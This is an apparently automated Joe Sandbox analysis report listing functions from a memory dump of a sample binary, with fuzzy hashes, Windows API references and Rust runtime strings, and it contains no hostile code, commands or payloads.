Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8924e332cd299791c4bae2cd43cd037ec742393eab3221982e1d80e6e4bbfacf
Instruction ID: cd153dfb906dd6224c5a4a42ed4e3a36f8415e1da6f59ba7626ceba3dbdebe65
Opcode Fuzzy Hash: 8924e332cd299791c4bae2cd43cd037ec742393eab3221982e1d80e6e4bbfacf
Instruction Fuzzy Hash: 4791C163F049E493F751CF29D6006986320F368BD8B965322DF6E63661EB35E6DAC301

Function 00007FF6996EB200 Relevance: .2, Instructions: 250COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa471672b24d1a2ac654242ca81a1187fcbdff9b2a5c44fa8322d863862aa905
Instruction ID: 4e731eb2835bc62c04cbe2e8cad7c9bda90cfc59486bc32bfd02d04f5222fd5f
Opcode Fuzzy Hash: aa471672b24d1a2ac654242ca81a1187fcbdff9b2a5c44fa8322d863862aa905
Instruction Fuzzy Hash: 82A12572B1879186F7218FA69D007BD7FA0FB40B89F295122CE6D23784DE75C962E310

Function 00007FF6996C1A31 Relevance: .2, Instructions: 229COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec4063b42928823b40043d659ba538cc37fba7f203e95e04cb88dc07edcb3a95
Instruction ID: 588ebfb6bbbb076cf822bb285e99bb250d3fb2679ed138046b2613768470a1bb
Opcode Fuzzy Hash: ec4063b42928823b40043d659ba538cc37fba7f203e95e04cb88dc07edcb3a95
Instruction Fuzzy Hash: BF91D172B1868281FE749E1291447BA5365FF45BC0F8A5072FF6D97B85EE2CF581A300

Function 00007FF6997740C0 Relevance: .2, Instructions: 213COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4bfae1d20f5ed61c0578810f1b9d3c5e2bee1aa6a44f89206bb9bac95fbb713
Instruction ID: 1a2af952ed51dc3ca356e65011587aa7af1ed53843da0364cb54f8c3ff4d73d0
Opcode Fuzzy Hash: b4bfae1d20f5ed61c0578810f1b9d3c5e2bee1aa6a44f89206bb9bac95fbb713
Instruction Fuzzy Hash: 9C915132A08646CAE7B49F29C04437C77B2F798B89F1481B6CA0D8B799CF78D445DB51

Function 00007FF69975D160 Relevance: .2, Instructions: 187COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba7d415c593592a3e4339d049df5d7c78054e37d5defce6cf568c9a001b84ead
Instruction ID: 633273c0a559d3de8a9f6041492df5db65d5b3ac1414073e01c53ba0eedcee4d
Opcode Fuzzy Hash: ba7d415c593592a3e4339d049df5d7c78054e37d5defce6cf568c9a001b84ead
Instruction Fuzzy Hash: 50615C62B285A187FBB48F2499002BD27A1F706BD8F544275DE5ADB7D4CF38D842C742

Function 00007FF69976BF20 Relevance: .1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ca95f9bf79cadee7fd56b3ebd1ac633b5562677c2c3978bd7e233aabedc9847
Instruction ID: 6c54c65dca2c8f8f0684e36ed9d1f11464e157f43e33cf67e750ce46c28c8203
Opcode Fuzzy Hash: 3ca95f9bf79cadee7fd56b3ebd1ac633b5562677c2c3978bd7e233aabedc9847
Instruction Fuzzy Hash: 6F5127A6F1C58552F6355F588400BF87691FB56BC0F889175EE0E8B388CE2FAB81C742

Function 00007FF69976BDE0 Relevance: .1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4aa9e4182f2e50364de2a15c1c1e0c896540baf561c3245e46b89c242035e23
Instruction ID: af4bbfd672b131f71f0005ebb9e6dfc4f1959dbc8944fceb7cb8424a00e64cde
Opcode Fuzzy Hash: e4aa9e4182f2e50364de2a15c1c1e0c896540baf561c3245e46b89c242035e23
Instruction Fuzzy Hash: B15127A6F1CA8552F7714F558400BF87791EB56BC1F889175EE0E8B388CE2DAB41CB02

Function 00007FF69974F440 Relevance: .1, Instructions: 121COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb85a316b1b28cddb3f2e513620ffe2f1ab2d54091b22ff193b08dd246418135
Instruction ID: a24c80ef3de5803cb9cebc29bbc503380cb7c2d0ecec7a8c725d12b1f2eb834d
Opcode Fuzzy Hash: cb85a316b1b28cddb3f2e513620ffe2f1ab2d54091b22ff193b08dd246418135
Instruction Fuzzy Hash: 45312462B2552242FF79893E8E14B7542839B45BF0E549B30ED3ECBBDAED3C95424600

Function 00007FF69974F5F0 Relevance: .1, Instructions: 121COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d76be46d653f83ad5ef5210ff2a4a8b857c13a8c348d2b6131243123030b049b
Instruction ID: c3b20703a16bcc6430e8106f9d1a8d7881f885613f86968b2d0a1dac1635994f
Opcode Fuzzy Hash: d76be46d653f83ad5ef5210ff2a4a8b857c13a8c348d2b6131243123030b049b
Instruction Fuzzy Hash: 5D314852F2551683FE28893A8D157B40283DB85BF0E449735EE3ECFBE9ED3DA4428601

Function 00007FF69972F960 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a4b5aaaee95637960a634f8f5c0b021c11b7ab42145f193b07c717f66579e7b
Instruction ID: c9fd4f1585db616735e2f4b34a82e2a32199c00d935df94301ee926aeebca173
Opcode Fuzzy Hash: 2a4b5aaaee95637960a634f8f5c0b021c11b7ab42145f193b07c717f66579e7b
Instruction Fuzzy Hash: 87115EF2F384A449FBA4433C6C01F296C858B627BCB189BB4E1B9D59D2DA2DE1039240

Function 00007FF699775410 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aba1ab6dce893516dd973d8d6062043ca2dc6b32030dabdcf669dbffad7919a8
Instruction ID: 270bef91586c0f07db1f11980c8a8d68533220ebcd0d012177c2311de7096e48
Opcode Fuzzy Hash: aba1ab6dce893516dd973d8d6062043ca2dc6b32030dabdcf669dbffad7919a8
Instruction Fuzzy Hash: DD012BB6B280E006DAA0CB3A4C1893937A3D7C6792354D3E0D754C7788DE3E9106C350

Function 00007FF69989BC00 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0aec3db64e3363546342e52bd0275a4f14fb638a49cac29b744d853ce322a626
Instruction ID: ae949b86d8240f5a5ffb1c72263df4aa94b81b214959c1154f1d076a80059eef
Opcode Fuzzy Hash: 0aec3db64e3363546342e52bd0275a4f14fb638a49cac29b744d853ce322a626
Instruction Fuzzy Hash: B4E08CCBF5EED206F2B29D540E791242EC6DBB2618B0D44FFCB4883383AC092C044220

Function 00007FF6997149E0 Relevance: 24.5, APIs: 16, Instructions: 480COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF699714A59
DuplicateHandle.KERNEL32 ref: 00007FF699714A83
GetFileInformationByHandleEx.KERNEL32 ref: 00007FF699714AD4
GetLastError.KERNEL32 ref: 00007FF699714AE0
GetLastError.KERNEL32 ref: 00007FF699715048
CloseHandle.KERNEL32 ref: 00007FF6997150D5

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: Handle$ErrorLast$CloseCurrentDuplicateFileInformationProcess
String ID:
API String ID: 780345077-0
Opcode ID: fa595bb786642aa90b0f86602a881c96c3f209be46b40bff5e1dd4c68d7be299
Instruction ID: f81e35d2d5a64d8f921fa23141203d23156754c1d0eb378303ce2d9cb9698597
Opcode Fuzzy Hash: fa595bb786642aa90b0f86602a881c96c3f209be46b40bff5e1dd4c68d7be299
Instruction Fuzzy Hash: 0612BE62B0865286FB349F2198513BD26A0FF4ABC8F548075EE4D9BB8ADF3DE545C340

Function 00007FF699739484 Relevance: 24.1, APIs: 8, Strings: 8, Instructions: 107COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 00007FF6997394EE
memcmp.MSVCRT ref: 00007FF699739508
memcmp.MSVCRT ref: 00007FF699739522
memcmp.MSVCRT ref: 00007FF69973953C
memcmp.MSVCRT ref: 00007FF699739556
memcmp.MSVCRT ref: 00007FF699739570
memcmp.MSVCRT ref: 00007FF69973958A
memcmp.MSVCRT ref: 00007FF6997395A4

Strings

wR15, xrefs: 00007FF6997394C3
ACC0ACC1ACC2ACC3ACC4ACC5ACC6ACC7S0S1S2S3S4S5S6S7S8S9S10S11S12S13S14S15S16S17S18S19S20S21S22S23S24S25S26S27S28S29S30S31X0X1X2X3X4X5X6X7X8X9X10X11X12X13X14X15X16X17X18X19X20X21X22X23X24X25X26X27X28X29X30ELR_modeRA_SIGN_STATETPIDRRO_EL0TPIDR_EL0TPIDR_EL1TPIDR_EL2, xrefs: 00007FF6997394DB
wR12, xrefs: 00007FF69973949F
wR10, xrefs: 00007FF699739487
wR11, xrefs: 00007FF699739493
wR13, xrefs: 00007FF6997394AB
wR14, xrefs: 00007FF6997394B7
SPSR, xrefs: 00007FF6997394CF

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: memcmp
String ID: ACC0ACC1ACC2ACC3ACC4ACC5ACC6ACC7S0S1S2S3S4S5S6S7S8S9S10S11S12S13S14S15S16S17S18S19S20S21S22S23S24S25S26S27S28S29S30S31X0X1X2X3X4X5X6X7X8X9X10X11X12X13X14X15X16X17X18X19X20X21X22X23X24X25X26X27X28X29X30ELR_modeRA_SIGN_STATETPIDRRO_EL0TPIDR_EL0TPIDR_EL1TPIDR_EL2$SPSR$wR10$wR11$wR12$wR13$wR14$wR15
API String ID: 1475443563-3862453883
Opcode ID: b1a7e97f954b030fc789617bde8c08a95522fe00320205b97ede5649c0ca8685
Instruction ID: b48f08b28bce3a6d99f8faf5c6a152f29a33847356295d260ffbbabf34849f0c
Opcode Fuzzy Hash: b1a7e97f954b030fc789617bde8c08a95522fe00320205b97ede5649c0ca8685
Instruction Fuzzy Hash: 76415BA6E1C202C5FA345E76B9422BA2550DF41BC2F1440B6CE0EDF6D1EE7DE902D24A

Function 00007FF6996FA0C0 Relevance: 21.4, APIs: 10, Strings: 2, Instructions: 359COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 00007FF6996FA235
GetUserProfileDirectoryW.USERENV ref: 00007FF6996FA252
GetLastError.KERNEL32 ref: 00007FF6996FA290
GetLastError.KERNEL32 ref: 00007FF6996FA2AB

Part of subcall function 00007FF6996F9C40: SetLastError.KERNEL32 ref: 00007FF6996F9D6A
Part of subcall function 00007FF6996F9C40: GetEnvironmentVariableW.KERNEL32 ref: 00007FF6996F9D7C
Part of subcall function 00007FF6996F9C40: GetLastError.KERNEL32 ref: 00007FF6996F9D88
Part of subcall function 00007FF6996F9C40: GetLastError.KERNEL32 ref: 00007FF6996F9DA1

Strings

called `Result::unwrap()` on an `Err` value, xrefs: 00007FF6996FA67A
HOMEUSERPROFILE\\.\pipe\__rust_anonymous_pipe1__., xrefs: 00007FF6996FA0E8

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: ErrorLast$DirectoryEnvironmentProfileUserVariable
String ID: HOMEUSERPROFILE\\.\pipe\__rust_anonymous_pipe1__.$called `Result::unwrap()` on an `Err` value
API String ID: 3506484248-3720404459
Opcode ID: d7c07abaf9e50158387b918093629f4ed8af412cfd5b6e1afa6d678d6fcc476a
Instruction ID: 8e79bd8c7f90c748b0ef24f43f3f3e8f1228d8441e33ab27080a40684720334d
Opcode Fuzzy Hash: d7c07abaf9e50158387b918093629f4ed8af412cfd5b6e1afa6d678d6fcc476a
Instruction Fuzzy Hash: 6CF18172A08AC289FB359F6599053F92355FB05BD8F444175DE6C9B78AEE2CE381E300

Function 00007FF699723F30 Relevance: 19.7, APIs: 9, Strings: 2, Instructions: 479COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 00007FF6997240E5
GetFullPathNameW.KERNEL32 ref: 00007FF699724101
GetLastError.KERNEL32 ref: 00007FF69972410C
GetLastError.KERNEL32 ref: 00007FF699724125

Strings

\\?\, xrefs: 00007FF699724247
\\?\UNC\, xrefs: 00007FF699724299

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: ErrorLast$FullNamePath
String ID: \\?\$\\?\UNC\
API String ID: 2482867836-3019864461
Opcode ID: 1c0334674d31efb89d2c775229443127f9b9b7c2417acaa84a4584124165a396
Instruction ID: 5674717c84269cb92d35ed3932ab659fe7bdc84ff3d1970d34ef89cb67c74509
Opcode Fuzzy Hash: 1c0334674d31efb89d2c775229443127f9b9b7c2417acaa84a4584124165a396
Instruction Fuzzy Hash: BE12C162A186D285EB709F26D8443BD27A5FB09BD4F4441B6DA5D8F7C9DF3CE6828300

Function 00007FF6996F9400 Relevance: 17.9, APIs: 7, Strings: 3, Instructions: 408COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 00007FF6996F94E9
GetCurrentDirectoryW.KERNEL32 ref: 00007FF6996F94F4
GetLastError.KERNEL32 ref: 00007FF6996F9500
GetLastError.KERNEL32 ref: 00007FF6996F9519
GetLastError.KERNEL32 ref: 00007FF6996F95B7
GetEnvironmentStringsW.KERNEL32 ref: 00007FF6996F965B
GetLastError.KERNEL32 ref: 00007FF6996F966F

Part of subcall function 00007FF69976D100: RtlCaptureContext.KERNEL32 ref: 00007FF69976D192
Part of subcall function 00007FF69976D100: RtlUnwindEx.KERNEL32 ref: 00007FF69976D1CF
Part of subcall function 00007FF69976D100: abort.MSVCRT ref: 00007FF69976D1D5
Part of subcall function 00007FF69976D100: RaiseException.KERNEL32 ref: 00007FF69976D212

Strings

called `Result::unwrap()` on an `Err` value, xrefs: 00007FF6996F9945, 00007FF6996F998B
innerVarsOs, xrefs: 00007FF6996F9A5C
Vars, xrefs: 00007FF6996F9A2F

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750320696.00007FF69977C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750435239.00007FF69989B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750463184.00007FF69989C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750489646.00007FF69989F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6996c0000_81zBpBAWwc.jbxd

Similarity

API ID: ErrorLast$CaptureContextCurrentDirectoryEnvironmentExceptionRaiseStringsUnwindabort
String ID: Vars$called `Result::unwrap()` on an `Err` value$innerVarsOs
API String ID: 1982851867-2235028769
Opcode ID: 81f0b5ad55a65d210555d28c0575d3fbac638c4c01551ab7b438c5771c1c0d3a
Instruction ID: c22c7a85e2c1877b460040bd29c0a688a1139d68fff44365d30701b6a36eced6
Opcode Fuzzy Hash: 81f0b5ad55a65d210555d28c0575d3fbac638c4c01551ab7b438c5771c1c0d3a
Instruction Fuzzy Hash: 53F1BF32A18B9299FB309F61A8007E93764FB06799F444575EE6C97B89DF3CA641E300

Function 00007FF6996E5EA0 Relevance: 15.5, APIs: 8, Strings: 2, Instructions: 483COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF6996E5F2E
memcpy.MSVCRT ref: 00007FF6996E5F65
memcpy.MSVCRT ref: 00007FF6996E642B
memcpy.MSVCRT ref: 00007FF6996E649F
memcpy.MSVCRT ref: 00007FF6996E64D7

Strings

assertion failed: new_left_len <= CAPACITY, xrefs: 00007FF6996E6263
assertion failed: match track_edge_idx { LeftOrRight::Left(idx) => idx <= old_left_len, LeftOrRight::Right(idx) => idx <= right_len,}, xrefs: 00007FF6996E6833

Memory Dump Source

Source File: 00000000.00000002.1750111642.00007FF6996C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6996C0000, based on PE: true

Associated: 00000000.00000002.1750087232.00007FF6996C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750265903.00007FF69977B000.00000004.00000001.01000000.00000003.sdmpDownload File
